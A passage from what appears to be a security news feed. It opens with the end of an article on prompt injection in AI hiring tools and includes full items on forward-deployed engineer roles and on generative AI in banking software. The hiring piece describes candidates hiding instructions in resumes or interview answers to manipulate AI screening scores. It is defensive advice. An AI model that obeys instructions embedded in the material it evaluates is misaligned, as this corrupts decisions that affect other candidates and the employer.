<p class="wp-block-paragraph">The difference is that in hiring, the input looks harmless. It is a resume, a cover letter, a chatbot reply or a spoken answer in an AI-led interview. But once AI reads that content and treats it as instruction, the harmless-looking input becomes part of the system’s control surface.</p>



<p class="wp-block-paragraph">That is why prompt injection matters in hiring. It is not just an AI oddity or a model behavior issue. It is the same category of failure enterprises have spent decades trying to prevent: User-controlled input changing what the system does. <a href="https://genai.owasp.org/llmrisk/llm01-prompt-injection/">OWASP lists prompt injection as the first risk in its Top 10 for LLM applications</a>, describing it as a case where user prompts alter a model’s behavior or output in unintended ways.</p>



<p class="wp-block-paragraph">In hiring, the implication is direct: A candidate may be able to manipulate the score, ranking or interview assessment that determines whether a human ever sees them.</p>



<h2 class="wp-block-heading">The business impact is not theoretical</h2>



<p class="wp-block-paragraph">The obvious risk is that an unqualified candidate moves forward. But the impact is broader.</p>



<p class="wp-block-paragraph">First, decision quality degrades. Hiring teams adopt AI scoring because they believe it improves signal. If the score can be manipulated, the business is not gaining signal; it is gaining false confidence. Recruiters may spend time on candidates who gamed the system while stronger candidates are buried lower in the queue. A tool bought to reduce friction can quietly create more of it.</p>



<p class="wp-block-paragraph">Second, cost increases under the appearance of efficiency. Every false positive consumes recruiter time, hiring-manager attention, interview slots and opportunity cost. A small weakness in screening integrity can become a measurable operational drag across open roles.</p>



<p class="wp-block-paragraph">Third, trust suffers. Candidates already question whether AI hiring tools are fair, explainable or accurate. If it becomes clear that a screening system can be manipulated by hidden instructions or verbal prompting, the issue is no longer just security. It becomes reputational. Strong candidates may lose confidence in the process, and employers may have to defend decisions made by systems they did not fully understand.</p>



<p class="wp-block-paragraph">Fourth, sensitive data exposure becomes harder to contain. Recruiting systems hold names, addresses, work histories, education histories, compensation details, work authorization information and sometimes accommodation or demographic data. <a href="https://csrc.nist.gov/pubs/sp/800/122/final">NIST guidance on personally identifiable information</a> includes employment information as linkable personal data that must be protected from inappropriate access, use and disclosure. Yet hiring platforms often receive less security scrutiny than systems holding customer or financial data.</p>



<p class="wp-block-paragraph">That mismatch is dangerous: High-value data, public-facing workflows and increasing automation.</p>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/4020919/mcdonalds-ai-hiring-tools-password-123456-exposes-data-of-64m-applicants.html">The 2025 McHire incident</a> should have made this impossible to ignore. Researchers reported that weaknesses in McDonald’s AI hiring platform, including default credentials and an access-control flaw, exposed applicant data at large scale before the issue was patched. The lesson for CIOs is not merely that a weak password was used. The lesson is that AI hiring systems can ship with basic, preventable security failures while still being treated as HR tools rather than enterprise risk surfaces.</p>



<h2 class="wp-block-heading">Vendor reputation does not transfer to every AI feature</h2>



<p class="wp-block-paragraph">One reason this risk slips through is that buyers often trust the platform brand. Mature vendors may have strong security programs, enterprise customers, compliance documentation and procurement-friendly answers.</p>



<p class="wp-block-paragraph">But AI features can change the architecture of risk.</p>



<p class="wp-block-paragraph">A platform that was safe as a workflow tool may behave very differently once it adds resume scoring, interview grading, chatbot screening or automated ranking. The new feature may introduce new inputs, new model behavior, new data flows, new third-party dependencies and new decision points. In practical terms, the attack surface has changed.</p>



<p class="wp-block-paragraph">CIOs should not allow AI features to inherit trust automatically from the legacy platform around them. When a vendor adds AI, the enterprise should reassess the feature as if it were a new product. That does not mean slowing innovation for bureaucracy. It means AI-enabled decision-making carries different failure modes from ordinary workflow automation.</p>



<h2 class="wp-block-heading">The ownership gap is the real vulnerability</h2>



<p class="wp-block-paragraph">The biggest risk may not be the model. It may be the ownership gap.</p>



<p class="wp-block-paragraph">Talent acquisition may buy the tool. HR operations may configure it. The vendor may guide implementation. Procurement and legal may approve the contract. But who owns the security of the candidate-facing AI layer?</p>



<p class="wp-block-paragraph">In many organizations, the honest answer is unclear.</p>



<p class="wp-block-paragraph">That ambiguity is where risk grows. Recruiting technology sits at the intersection of public input, sensitive data, third-party software, automated decision support and brand trust. That is exactly the kind of environment that needs named security ownership, asset inventory, vendor review, access-control testing, logging and incident-response planning.</p>



<p class="wp-block-paragraph">If the hiring stack is not in the security inventory, the organization is already making an assumption it may later regret.</p>



<h2 class="wp-block-heading">What CIOs should require now</h2>



<p class="wp-block-paragraph">The fix is not exotic. It is applying existing security discipline to a surface that has been underestimated.</p>



<p class="wp-block-paragraph">Treat every candidate submission as untrusted input. Resumes, cover letters, chatbot responses, interview transcripts and spoken answers should be handled as attacker-controllable content. If AI processes it, the system must separate content from instruction.</p>



<p class="wp-block-paragraph">Reassess vendors when AI features are introduced. A prior security review should not be treated as permanent approval for new AI capabilities. Ask what changed in the architecture, what data the model sees, what actions it can influence and how manipulation attempts are detected.</p>



<p class="wp-block-paragraph">Ask AI-specific questions before signing. Can candidate-provided content alter scoring? Are hidden instructions filtered or ignored? Is there human review before AI output influences a decision? Can the vendor produce testing evidence for prompt injection, access control and data exposure risks?</p>



<p class="wp-block-paragraph">Assign ownership. HR can own the process, but security must own the risk model. AI hiring systems should be included in third-party risk management, application security reviews, access governance, monitoring and incident response planning.</p>



<p class="wp-block-paragraph">Measure business impact, not just AI adoption. The goal is not to say the recruiting function uses AI. The goal is to improve hiring speed, quality, fairness and cost without creating new risk. If the system cannot protect decision integrity, the business case is weaker than it appears.</p>



<h2 class="wp-block-heading">The hiring platform is now part of the enterprise attack surface</h2>



<p class="wp-block-paragraph">AI has turned the careers page into more than a front door for applicants. It is now a public input channel feeding systems that store sensitive data and influence workforce decisions.</p>



<p class="wp-block-paragraph">That makes it a CIO concern.</p>



<p class="wp-block-paragraph">The next failure in AI hiring may not look like a traditional breach at first. It may look like bad rankings, manipulated scores, unexplainable decisions, wasted recruiter time or a candidate process no one trusts. But underneath those symptoms is a familiar security problem: A system trusted input it should have treated as hostile.</p>



<p class="wp-block-paragraph">Enterprises have hardened payment systems, customer portals, APIs and employee applications around that lesson. Hiring deserves the same treatment.</p>



<p class="wp-block-paragraph">AI hiring is not just an HR transformation. It is a security boundary. And it is time CIOs treated it like one.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[There are two completely different roles called ‘FDE’]]></title>
<description><![CDATA[There’s something very attractive about saying “we embed very closely with our customers and just figure it out with them”, especially since the company that started “forward deploying engineers” is growing 84% with $5B+ revenue. But “forward deployed engineer” is a vague term and means different...]]></description>
<link>https://tsecurity.de/de/3710288/it-security-nachrichten/there-are-two-completely-different-roles-called-fde/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710288/it-security-nachrichten/there-are-two-completely-different-roles-called-fde/</guid>
<pubDate>Fri, 07 Aug 2026 23:48:03 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">There’s something very attractive about saying “we embed very closely with our customers and just figure it out with them”, especially since the company that started “forward deploying engineers” is growing <a href="https://investors.palantir.com/files/2026%20Q1%20PLTR%2010-Q.pdf">84% with $5B+ revenue</a>. But “<a href="https://en.wikipedia.org/wiki/Forward_Deployed_Engineer#cite_note-1">forward deployed engineer</a>” is a vague term and means different things depending on the business you’re running.</p>



<p class="wp-block-paragraph">I spent almost 5 years at Palantir as a forward-deployed software engineer, and Palantir’s version of an “FDE” does not make sense for most companies I now meet as an early-stage VC. Depending on the type of business you’re building, this role could broadly mean one of two things: “the product builder” or “the platform operator.” Clearly defining which bucket you fall into will make it easier to hire for this role and run your FDE org.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/08/nature-of-work-vs-product-leverage.png?w=1024" alt="Figure: Nature of work vs. product leverage." class="wp-image-4206317" width="1024" height="578" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Kabir Sial</p></div>



<h2 class="wp-block-heading">The product builder: The OG Palantir version</h2>



<p class="wp-block-paragraph">The north star is: do whatever it takes to actually solve the user’s problem. FDEs are not just responsible for making the platform work, but also discovering what to build and building it (actually creating software) in service of the customer.</p>



<h2 class="wp-block-heading">The platform operator: Solutions + technical customer success</h2>



<p class="wp-block-paragraph">The north star is: make the product work for the customer – deploy and operationalize it. This is what most startups today really mean when they want FDEs. FDEs here configure the core platform, manage account relationships and drive adoption. This is not new – companies have always had solutions engineers, sales engineers, customer success etc., although the work looks different as FDEs are increasingly building prototypes, configuring evals and building MCPs.</p>



<h2 class="wp-block-heading">Which FDE is right for you</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/08/customer-size.png?w=1024" alt="Figure: Customer size." class="wp-image-4206316" width="1024" height="457" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Kabir Sial</p></div>



<p class="wp-block-paragraph">For most situations, hiring product builder FDEs is a mistake.</p>



<p class="wp-block-paragraph">At scale, the FDEs should be the platform operator. It’s hard to have FDEs build and maintain highly custom product features, especially as the company scales. Over time, the custom product surface area distracts from building the core product, even though AI coding tools make it easy to ship new features quickly and maintain them.</p>



<p class="wp-block-paragraph">Many fast-growing AI startups recognize these constraints and structure the FDE role more like the platform operator. This also allows them to have 5-10 accounts per FDE, which is a much higher ratio than Palantir had (at least in 2023). Even the Palantir FDE role has evolved to look more like the platform operator.</p>



<p class="wp-block-paragraph">There are, however, situations when your FDEs should be the product builder archetype.</p>



<h3 class="wp-block-heading">1. You have very large customers (F500 scale)</h3>



<p class="wp-block-paragraph"><strong>Technical complexity</strong>: Large customers have complex environments with legacy infrastructure that often requires “out-of-platform” engineering work. I often encountered bespoke data infrastructure, privacy requirements, etc. at various Palantir customers that required me to build “out-of-platform” connectors, UIs and backends.</p>



<p class="wp-block-paragraph"><strong>Organizational inertia and trust</strong>: Serving large enterprises is about building trust. In short time periods, overfitting product to a specific user/workflow is often what delivers the most value, builds trust and helps organizations get over the inertia of moving away from Excel and legacy software tools that are part of their day-to-day workflow. For AI-native startups, it’s arguably even more important to invest in doing “unscalable” development with engineering boots on the ground, as it helps solidify your right to exist and eventually expand the customer relationship.</p>



<h3 class="wp-block-heading">2. You have many ICPs and workflows</h3>



<p class="wp-block-paragraph">If you have a broad range of ICPs and workflows that you serve, your product probably is not walk-up usable on day 1 of deployment. The short-term hacky things that product builder FDEs build to make the product work for these heterogeneous users/workflows will help you shape the product long-term.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/08/overfit-products.png?w=1024" alt='Figure: "Overfit" products.' class="wp-image-4206313" width="1024" height="570" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Kabir Sial</p></div>



<p class="wp-block-paragraph">Note: see Palantir Foundry’s architecture <a href="https://www.palantir.com/assets/xrfr7uokpv1b/mhoyY4c8vdVlJhulDStk2/a7340768109c8e8d79d00b4cb99d8e70/Whitepaper_-_Foundry_2022.pdf">here</a>.</p>



<p class="wp-block-paragraph">This was a big reason why Palantir FDEs were more like product builders (and are still able to – see the <a href="https://jobs.lever.co/palantir/dab396d4-2f14-4796-aac0-0d82883dccf0">Forward Deployed Software Engineer job profiles</a> as an example). The vision for Foundry was to be the operating system for an enterprise’s critical decisions – inherently multiple industries, users and workflows. A lot of FDE-led development showed that solving many of these use cases required complex data integrations, which led to the early versions of Foundry being best-suited for complex data integrations and building a customer’s “<a href="https://blog.palantir.com/ontology-finding-meaning-in-data-palantir-rfx-blog-series-1-399bd1a5971b">Ontology</a>”. Similarly, FDEs like myself built custom frontend applications for fraud analysis, pricing, etc. As certain patterns of what these applications required became more clear, they were centralized into an application-layer product.</p>



<h2 class="wp-block-heading">Who you should hire</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/08/who-you-should-hire.png?w=1024" alt="Figure: Who you hire." class="wp-image-4206314" width="1024" height="464" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Kabir Sial</p></div>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/08/why-hire.png?w=1024" alt="Figure: Why hire one vs. the other." class="wp-image-4206315" width="1024" height="456" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Kabir Sial</p></div>



<p class="wp-block-paragraph"><strong>Platform operator</strong>: There is a much broader set of people you could hire, testing for technical fluency (e.g., being good at data analysis, complex Excel work, even SQL), product intuition and an inclination to build customer relationships. Backgrounds like technical customer success, solutions engineering, software engineering, product management and consulting are all strong fits.</p>



<p class="wp-block-paragraph"><strong>Product builder</strong>: You want candidates that are high ownership and missionary software engineers, or technical PMs who want to ship products themselves.</p>



<p class="wp-block-paragraph">Hiring for these profiles, especially product builders, is hard. It’s worth calling out two things that helped Palantir hire software engineers into what might be considered a less sexy role.</p>



<ol start="1" class="wp-block-list">
<li><strong>Culture of building at the edge</strong>: Strong engineers are motivated to build things. Palantir gave FDEs a lot of ownership to build products, which is why much of the core product leadership was former FDEs.</li>



<li><strong>Cult built around mission</strong>: Internally, there was a cult-like devotion to the mission. Everyone always talked about why outcomes were far more important than software, and why most companies building tools had it wrong. I’ve never been at a company where people feel so closely bonded around a mission.</li>
</ol>



<p class="wp-block-paragraph">As founders building AI startups think about hiring FDEs, it’s worth being specific about your culture and asking: Am I just hiring people to support development teams, or am I hiring people to shape and build product? It’s hard to get software engineers (even today) to be excited about an FDE role that might just be technical customer success.</p>



<h2 class="wp-block-heading">What FDEs should be doing (regardless of archetype)</h2>



<p class="wp-block-paragraph">You’ve hired the right people. How do you best leverage your team of FDEs?</p>



<p class="wp-block-paragraph">FDEs were Palantir’s way of delivering outcomes rather than tools. AI-native startups can take this much further and FDEs can help in a few unique ways by leveraging their proximity to customers.</p>



<ol start="1" class="wp-block-list">
<li><strong>Find the most critical workflows</strong>: As AI lowers the cost of producing software, companies will face a lot more competition. FDEs at AI startups should be constantly finding ways to serve the most critical workflows for a customer and paying attention to how customers do work across newer and legacy tools. For example, FDEs at Harvey should pay attention to which workflows are in Westlaw, which ones are moving to ChatGPT/Claude, and how the Harvey product can stay ahead.</li>



<li><strong>Build around nondeterminism</strong>: In more regulated environments, FDEs should be hyper-focused on making products reliable for specific use cases <a href="https://www.anthropic.com/engineering/demystifying-evals-for-ai-agents">using evals</a> and configs. Previously, product reliability lived with product and support. As companies provide outcomes instead of tools, configuring products appropriately and managing evals shifts towards FDE teams.</li>
</ol>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Beyond chatbots: How embedded GenAI is transforming banking application development]]></title>
<description><![CDATA[Business application development is entering a new operating model. The traditional approach of gathering requirements, designing screens, writing services, integrating systems, testing, fixing defects and preparing release documentation still exists, but it is no longer sufficient for enterprise...]]></description>
<link>https://tsecurity.de/de/3710290/it-security-nachrichten/beyond-chatbots-how-embedded-genai-is-transforming-banking-application-development/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710290/it-security-nachrichten/beyond-chatbots-how-embedded-genai-is-transforming-banking-application-development/</guid>
<pubDate>Fri, 07 Aug 2026 23:48:03 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Business application development is entering a new operating model. The traditional approach of gathering requirements, designing screens, writing services, integrating systems, testing, fixing defects and preparing release documentation still exists, but it is no longer sufficient for enterprises that need speed, traceability, resilience and regulatory confidence at the same time. Hyperautomation brings a broader discipline to this challenge. It combines workflow orchestration, intelligent document processing, robotic automation, API-led integration, process mining, test automation, observability and artificial intelligence into a connected delivery fabric. With embedded Generative AI, this fabric becomes more adaptive because applications can interpret natural language, summarize complex data, generate explanations, detect exceptions and support decision workflows rather than merely execute predefined rules.</p>



<p class="wp-block-paragraph">In banking, this shift is especially meaningful. Banks operate across dense application landscapes: trade reporting platforms, wealth management portals, core banking systems, investment banking applications, digital compliance engines, reconciliation utilities, operational dashboards, audit repositories and daily, weekly and monthly reporting platforms. Each of these areas has its own data models, control points, integration patterns, validation rules, exception paths and regulatory obligations. Hyperautomation does not replace engineering discipline; it strengthens it by making business intent, technical execution, control evidence and continuous improvement part of the same lifecycle.</p>



<h2 class="wp-block-heading">From automation to hyperautomation in banking applications</h2>



<p class="wp-block-paragraph">Automation usually addresses a specific task: moving data from one system to another, generating a report, running a batch job or validating a transaction against a rule. Hyperautomation goes further. It looks at the complete business outcome and asks how the entire chain can be streamlined, governed, observed and improved. For example, a trade reporting process may begin with transaction capture, enrich the trade with reference data, validate regulatory fields, identify breaks, generate a submission file, transmit it to a regulator or trade repository, monitor acknowledgements and preserve audit evidence. A narrow automation script may accelerate one step, but a <a href="https://www.gartner.com/en/documents/6454507">hyperautomated design</a> coordinates the complete flow, including exception handling and evidence generation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/08/figure-Figure-automation-vs-hyperautomation.png?w=1024" alt="Figure: Automation vs. hyperautomation." class="wp-image-4206308" width="1024" height="775" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Magesh Kasthuri</p></div>



<p class="wp-block-paragraph"><strong>Figure: Automation vs. hyperautomation</strong></p>



<p class="wp-block-paragraph">Embedded Generative AI adds a <a href="https://assets.ctfassets.net/5965pury2lcm/65QHMnfLGaRJzJ0sX5982o/520b5f0a9745aecc8730c645994e3a3b/Forrester_Study_-_AI_And_The_Next_Generation_of_Software_Testing.pdf">new layer of intelligence</a>. Instead of forcing every user interaction into rigid screens and codes, business applications can accept natural language prompts, interpret document content, summarize cases, generate draft responses, explain anomalies, produce test scenarios and create release notes. In a banking environment, this intelligence must be carefully bounded. Every AI-assisted action should be traceable, explainable, reviewable and aligned with data privacy, model risk, information security and regulatory expectations. The goal is not uncontrolled autonomy; the goal is governed acceleration.</p>



<h2 class="wp-block-heading">Banking application components suitable for hyperautomation</h2>



<p class="wp-block-paragraph">A modern banking application is rarely a single monolithic system. It is a composition of business capabilities, integration services, workflow engines, data pipelines, user experience layers, analytics models, control dashboards and audit stores. Hyperautomation can accelerate the development and integration of these components by turning repetitive engineering work into <a href="https://www.everestgrp.com/report/egr-2024-31-v-6318/">reusable patterns</a> and by embedding intelligence directly into business processes.</p>



<ul class="wp-block-list">
<li><strong>Trade reporting applications:</strong> Generative AI can help map trade attributes to regulatory fields, explain validation failures, summarize rejected submissions and generate test cases for reporting scenarios. Hyperautomation can orchestrate enrichment, validation, submission, acknowledgement tracking and evidence archival.</li>



<li><strong>Wealth management platforms:</strong> Advisors can use embedded AI to summarize client portfolios, generate suitability narratives, identify missing documents and prepare personalized investment review notes. Automation can coordinate onboarding, risk profiling, document verification, portfolio rebalancing workflows and client communication approvals.</li>



<li><strong>Core banking applications:</strong> Account opening, loan servicing, deposits, payments, interest calculations and customer maintenance can benefit from automated validations, intelligent forms, workflow routing and natural language assistance for operations teams. AI can explain account events or transaction exceptions in plain language.</li>



<li><strong>Investment banking systems:</strong> Deal pipelines, research workflows, underwriting processes, trade lifecycle functions and risk calculations require strong coordination across front-office, middle-office and back-office platforms. Hyperautomation can standardize approvals, documentation, exception resolution and control evidence across these stages.</li>



<li><strong>Digital compliance applications:</strong> Compliance teams can use AI to summarize policy obligations, compare regulatory changes with internal controls, classify alerts, draft investigation notes and produce evidence packs. Automation ensures routing, approvals, segregation of duties, audit trails and regulatory reporting timelines are consistently enforced.</li>



<li><strong>Reconciliation platforms:</strong> AI can assist in matching narratives, explaining breaks, clustering exception patterns and suggesting resolution actions. Hyperautomation can pull data from ledgers, statements, payment processors, trading systems and data warehouses, then route unresolved breaks to the right teams.</li>



<li><strong>Reporting and audit applications:</strong> Daily, weekly and monthly reports can be generated through controlled data pipelines, automated quality checks, narrative generation, variance explanations and approval workflows. Audit applications can preserve lineage, approvals, source extracts, model outputs and control attestations.</li>
</ul>



<h2 class="wp-block-heading">Embedded generative AI as an application capability</h2>



<p class="wp-block-paragraph">Embedding Generative AI into business applications should be treated as an architectural capability, not as a decorative chatbot. A banking application may use AI for search, summarization, reasoning support, content generation, code generation, policy interpretation or anomaly explanation. Each use case requires clear boundaries. The application must know which data the model can access, which actions require approval, what evidence must be captured and where deterministic controls must override probabilistic <a href="https://www.idc.com/resource-center/generative-ai/">suggestions</a>.</p>



<p class="wp-block-paragraph">For example, in trade reporting, an embedded AI assistant can explain why a transaction failed validation and suggest likely fields to review. However, the final correction should pass through rule-based validations, maker-checker approval and audit logging. In wealth management, AI may draft a client review note based on portfolio movements and risk profile, but the advisor must verify suitability, disclosures and final communication. In reconciliation, AI can propose likely matches or categorize break reasons, while the system preserves the original data, confidence score, reviewer action and final resolution path.</p>



<h2 class="wp-block-heading">Hyperautomating the product development lifecycle</h2>



<p class="wp-block-paragraph">The Product Development Lifecycle can itself become hyperautomated. Instead of treating ideation, analysis, design, development, testing, security review, release and operations as disconnected phases, enterprises can create an AI-assisted delivery loop where every stage produces structured artifacts that the next stage can consume. Platforms such as GitHub Copilot, Claude Code or Claude Cowork-style agentic development environments and OpenAI Codex can support this movement by helping teams reason over requirements, generate code, create tests, review changes, modernize legacy modules and produce <a href="https://www.cio.com/article/1307309/the-generative-ai-revolution-is-transforming-how-banks-work.html">documentation</a>. Their value increases when they are connected to repositories, issue trackers, design documents, build pipelines, test suites, security scanners, observability data and enterprise knowledge bases.</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td><strong>PDLC Stage</strong></td><td><strong>Hyperautomation Opportunity</strong></td><td><strong>AI-Assisted Outcome</strong></td></tr><tr><td>Business discovery</td><td>Process mining, domain interviews, regulatory mapping, backlog creation</td><td>Structured epics, user stories, acceptance criteria, process maps and control requirements</td></tr><tr><td>Architecture and design</td><td>Reference architectures, API contracts, data models, event flows, security patterns</td><td>Architecture options, integration blueprints, threat-model prompts and design decision records</td></tr><tr><td>Development</td><td>Code generation, service scaffolding, UI component creation, data pipeline templates</td><td>Review-ready code increments, reusable components, migration utilities and integration adapters</td></tr><tr><td>Testing</td><td>Unit, integration, regression, performance, compliance and synthetic data testing</td><td>Generated test cases, defect reproduction steps, test automation scripts and coverage summaries</td></tr><tr><td>Security and compliance review</td><td>Static analysis, dependency checks, policy validation, evidence capture</td><td>Risk explanations, remediation suggestions, control traceability and approval evidence</td></tr><tr><td>Release and deployment</td><td>CI/CD orchestration, environment promotion, release notes, rollback preparation</td><td>Automated deployment packs, release summaries, operational checklists and change records</td></tr><tr><td>Operations and feedback</td><td>Observability, incident analysis, user feedback mining, backlog refinement</td><td>Incident summaries, root-cause hypotheses, improvement stories and reliability recommendations</td></tr></tbody></table> </div></figure>



<h2 class="wp-block-heading">Role of GitHub Copilot, Claude Cowork and Codex</h2>



<p class="wp-block-paragraph">GitHub Copilot is useful where developers need assistance inside the engineering flow: explaining code, generating functions, proposing tests, reviewing pull requests and helping teams move from issue to implementation. In a banking PDLC, it can accelerate microservice creation, API integration, batch processing logic, reconciliation rules, regulatory validation routines and UI workflows. When used with repository context and proper review discipline, it can reduce the time developers spend on repetitive coding while preserving human accountability for design and correctness.</p>



<p class="wp-block-paragraph">Claude Cowork or Claude Code-style agentic environments are valuable for multi-file reasoning, refactoring, debugging and documentation-heavy engineering work. Banking applications often contain deep domain logic scattered across services, configuration files, stored procedures, integration scripts and test suites. An agentic coding assistant that can understand a wider codebase context can help engineers analyze dependencies, prepare modernization plans, update multiple files coherently and draft explanations for reviewers. This is particularly useful in core banking modernization, trade reporting rule updates and compliance workflow refactoring.</p>



<p class="wp-block-paragraph">OpenAI Codex can support issue-to-pull-request workflows, test generation, code review, bug reproduction, migration activities and broader software engineering tasks across the lifecycle. In a hyperautomated PDLC, Codex-like agents can be assigned well-scoped work items, asked to inspect failing tests, propose fixes, create regression coverage and summarize the change for human reviewers. The important design principle is to keep agents inside controlled boundaries: clear prompts, repository permissions, test gates, approval workflows and traceable outputs.</p>



<h2 class="wp-block-heading">Integration architecture for hyperautomated banking applications</h2>



<p class="wp-block-paragraph">A practical architecture begins with business capability decomposition. Each banking domain should be expressed as a set of bounded capabilities such as customer onboarding, account maintenance, trade enrichment, exception management, portfolio review, control attestation, report generation and audit retrieval. These capabilities should be exposed through APIs, events, workflow tasks, data products and user interfaces. Hyperautomation then connects these capabilities using orchestration engines, event streams, rules engines, AI services, RPA connectors where legacy integration is unavoidable and observability layers that capture business and technical telemetry.</p>



<p class="wp-block-paragraph">The embedded AI layer should sit behind a secure application service boundary. It should use retrieval-augmented generation where approved policies, product rules, application documentation and regulatory mappings are retrieved from trusted sources. It should avoid uncontrolled exposure of sensitive customer information. Prompt templates, response validation, redaction, grounding checks, model monitoring and human-in-the-loop approval should be part of the production design. In banking, the most successful AI pattern is often not full automation but <a href="https://www.everestgrp.com/report/egr-2024-31-v-6318/">assisted</a> decisioning with strong controls.</p>



<h2 class="wp-block-heading">Example: Hyperautomated reconciliation and reporting flow</h2>



<p class="wp-block-paragraph">Consider a reconciliation application that compares ledger balances, payment files, trade settlement records and external statements. In a conventional model, operations teams spend significant time downloading files, running macros, investigating mismatches, documenting break reasons and preparing status reports. In a hyperautomated model, data ingestion is scheduled and monitored, schema checks run automatically, matching engines classify obvious matches, AI assists with ambiguous narratives, exceptions are routed through workflow queues and dashboards update in near real time. At the end of the day, the system can generate a draft operations <a href="https://www.pwc.com/us/en/industries/financial-services/library/hyperautomation-gen-ai-in-banking.html">report</a> explaining unresolved breaks, aging trends, risk exposure and pending approvals.</p>



<p class="wp-block-paragraph">The same pattern can extend to daily, weekly and monthly reporting. Data quality rules validate inputs, report templates are populated automatically, AI generates narrative commentary on variances, reviewers approve or amend explanations and the final report is archived with lineage and approvals. Audit teams can later retrieve not only the report but also the source extracts, transformation logs, exception history, reviewer decisions and AI-generated drafts. This creates a richer control environment than manual reporting because evidence is captured by design rather than reconstructed later.</p>



<h2 class="wp-block-heading">Governance, risk and control considerations</h2>



<p class="wp-block-paragraph">Hyperautomation in banking must be designed with governance from the beginning. The development team should define which activities can be automated, which can be AI-assisted and which must remain under human approval. Source code generated by AI must pass normal engineering controls, including peer review, static analysis, dependency scanning, secure coding checks, test execution and production readiness review. Business outputs generated by AI, such as compliance narratives or client-facing explanations, should be <a href="https://www.pwc.com/us/en/industries/financial-services/library/hyperautomation-gen-ai-in-banking.html">reviewed</a> where regulatory or reputational risk is material.</p>



<p class="wp-block-paragraph">Data governance is equally important. AI-enabled applications must respect data classification, residency, retention, masking and access policies. The model should not become an uncontrolled channel through which confidential customer, trading or employee information can leak. Every prompt, retrieved source, generated response, user action and final decision may need to be logged depending on the use case. For audit applications, this traceability is not optional; it is the foundation of trust.</p>



<h2 class="wp-block-heading">Operating model for AI-native PDLC</h2>



<p class="wp-block-paragraph">A hyperautomated PDLC requires changes in team behavior. Product owners should write requirements in a structured manner so that AI tools can generate better stories, acceptance criteria and test scenarios. Architects should maintain living decision records, reference patterns and integration standards that AI agents can use as context. Developers should learn prompt discipline, context packaging and review techniques. Test engineers should focus on coverage strategy, synthetic data, compliance scenarios and defect prevention rather than only manual execution. Operations teams should feed incident <a href="https://www.cio.com/article/1307309/the-generative-ai-revolution-is-transforming-how-banks-work.html">learnings</a> back into the backlog so the system improves continuously.</p>



<p class="wp-block-paragraph">The role of human experts becomes more important, not less. AI can draft, generate, compare and suggest, but domain judgment remains essential. A trade reporting specialist understands regulatory nuance. A wealth advisor understands client suitability. A core banking architect understands transaction integrity. A compliance officer understands control interpretation. Hyperautomation works best when it amplifies these experts and removes repetitive friction around them.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">Hyperautomation in business application development is not simply a faster way to write software. It is a new way to connect business intent, engineering execution, operational control and continuous learning. In banking, where applications must be reliable, explainable, secure and compliant, the combination of embedded Generative AI and disciplined automation can transform how applications are designed, built, integrated, tested, released and operated. Trade reporting, wealth management, core banking, investment banking, compliance, reconciliation, reporting and audit functions can all benefit when AI is embedded responsibly and automation is orchestrated across the complete lifecycle.</p>



<p class="wp-block-paragraph">Platforms such as GitHub Copilot, Claude Cowork or Claude Code and OpenAI Codex can play an important role in this transformation by accelerating analysis, development, testing, review, modernization and documentation. Their greatest value appears when enterprises treat them not as isolated productivity tools but as part of a governed, AI-native PDLC. The future of banking application development will belong to teams that can combine human expertise, reusable engineering patterns, intelligent automation and strong governance into one coherent delivery model.</p>



<p class="wp-block-paragraph"><em>This article was made possible by our partnership with the IASA </em><a href="https://chiefarchitectforum.org/" target="_blank" rel="noreferrer noopener"><em>Chief Architect Forum</em></a><em>. The CAF’s purpose is to test, challenge and support the art and science of Business Technology Architecture and its evolution over time as well as grow the influence and leadership of chief architects both inside and outside the profession. The CAF is a leadership community of the </em><a href="https://iasaglobal.org/" target="_blank" rel="noreferrer noopener"><em>IASA</em></a><em>, the leading non-profit professional association for business technology architects.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[ClickFix Attacks Deliver macOS Stealer That Can Drain Crypto Wallets]]></title>
<description><![CDATA[ClickFix-style attacks are being used to deliver a Go-based malware capable of stealing cryptocurrency assets, as well as browser-stored passwords, Apple iCloud Keychain data, and cached credentials.

The macOS-focused infection chain is designed to deliver a shell script that profiles the host a...]]></description>
